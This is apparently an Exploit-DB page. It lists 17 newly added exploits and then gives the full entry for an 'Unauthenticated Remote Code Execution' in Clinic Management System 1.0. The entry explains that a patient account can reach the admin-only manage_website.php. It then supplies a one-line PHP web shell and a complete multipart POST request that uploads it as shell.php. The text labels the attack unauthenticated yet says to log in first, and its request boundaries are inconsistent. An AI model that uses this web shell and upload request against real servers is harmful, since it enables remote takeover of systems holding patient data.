533f33f3f4
17 changes to exploits/shellcodes IObit Uninstaller 9.5.0.15 - 'IObit Uninstaller Service' Unquoted Service Path AirControl 1.4.2 - PreAuth Remote Code Execution Hostel Management System 2.0 - 'id' SQL Injection (Unauthenticated) Clinic Management System 1.0 - Unauthenticated Remote Code Execution Navigate CMS 2.8.7 - ''sidx' SQL Injection (Authenticated) Oriol Espinal CMS 1.0 - 'id' SQL Injection Clinic Management System 1.0 - Authenticated Arbitrary File Upload Navigate CMS 2.8.7 - Cross-Site Request Forgery (Add Admin) VMWAre vCloud Director 9.7.0.15498291 - Remote Code Execution Navigate CMS 2.8.7 - Authenticated Directory Traversal D-Link DIR-615 T1 20.10 - CAPTCHA Bypass Online Marriage Registration System 1.0 - Remote Code Execution Cayin Content Management Server 11.0 - Remote Command Injection (root) SnapGear Management Console SG560 3.1.5 - Cross-Site Request Forgery (Add Super User) Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read Cayin Signage Media Player 3.0 - Remote Command Injection (root) Cayin Digital Signage System xPost 2.5 - Remote Command Injection
62 lines
No EOL
2.6 KiB
Text
62 lines
No EOL
2.6 KiB
Text
# Exploit Title: Clinic Management System 1.0 - Unauthenticated Remote Code Execution
|
|
# Google Dork: N/A
|
|
# Date: 2020-06-02
|
|
# Exploit Author: BKpatron
|
|
# Vendor Homepage: https://www.sourcecodester.com/php/14243/open-source-clinic-management-system-php-full-source-code.html
|
|
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Nikhil_B/clinic-full-source-code-with-database_0.zip
|
|
# Version: v1.0
|
|
# Tested on: Win 10
|
|
# CVE: N/A
|
|
|
|
# Vulnerability:
|
|
Clinic Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution
|
|
(RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file.
|
|
# vulnerable file : manage_website.php
|
|
# Details:
|
|
login to website as patient then access the 'localhost/source%20code/manage_website.php' page, as it does not check for an admin user.
|
|
change website logo and upload your malicious php file(<?php echo shell_exec($_GET["cmd"]); ?>). if you see this message "Something Went Wrong" You have successfully uploaded the malicious php file.
|
|
path of your file: http://localhost/source%20code/uploadImage/Logo/your_file.php
|
|
|
|
# Proof of Concept:
|
|
http://localhost/source%20code/manage_website.php
|
|
|
|
POST /source%20code/manage_website.php HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: multipart/form-data; boundary=---------------------------135192786613366
|
|
Content-Length: 2539
|
|
Referer: http://localhost/source%20code/manage_website.php
|
|
Cookie: PHPSESSID=qdh5f7kelhhe9uvafveafit5e1
|
|
Connection: keep-alive
|
|
Upgrade-Insecure-Requests: 1
|
|
-----------------------------58631544014332: undefined
|
|
Content-Disposition: form-data; name="title"
|
|
|
|
-----------------------------58631544014332
|
|
Content-Disposition: form-data; name="short_title"
|
|
|
|
|
|
-----------------------------58631544014332
|
|
Content-Disposition: form-data; name="footer"
|
|
|
|
|
|
-----------------------------58631544014332
|
|
Content-Disposition: form-data; name="currency_code"
|
|
|
|
|
|
-----------------------------58631544014332
|
|
Content-Disposition: form-data; name="currency_symbol"
|
|
|
|
|
|
-----------------------------58631544014332
|
|
Content-Disposition: form-data; name="old_website_image"
|
|
|
|
logo for hospital system.jpg
|
|
-----------------------------58631544014332
|
|
Content-Disposition: form-data; name="website_image"; filename="shell.php"
|
|
Content-Type: application/octet-stream
|
|
|
|
<?php echo shell_exec($_GET["cmd"]); ?> |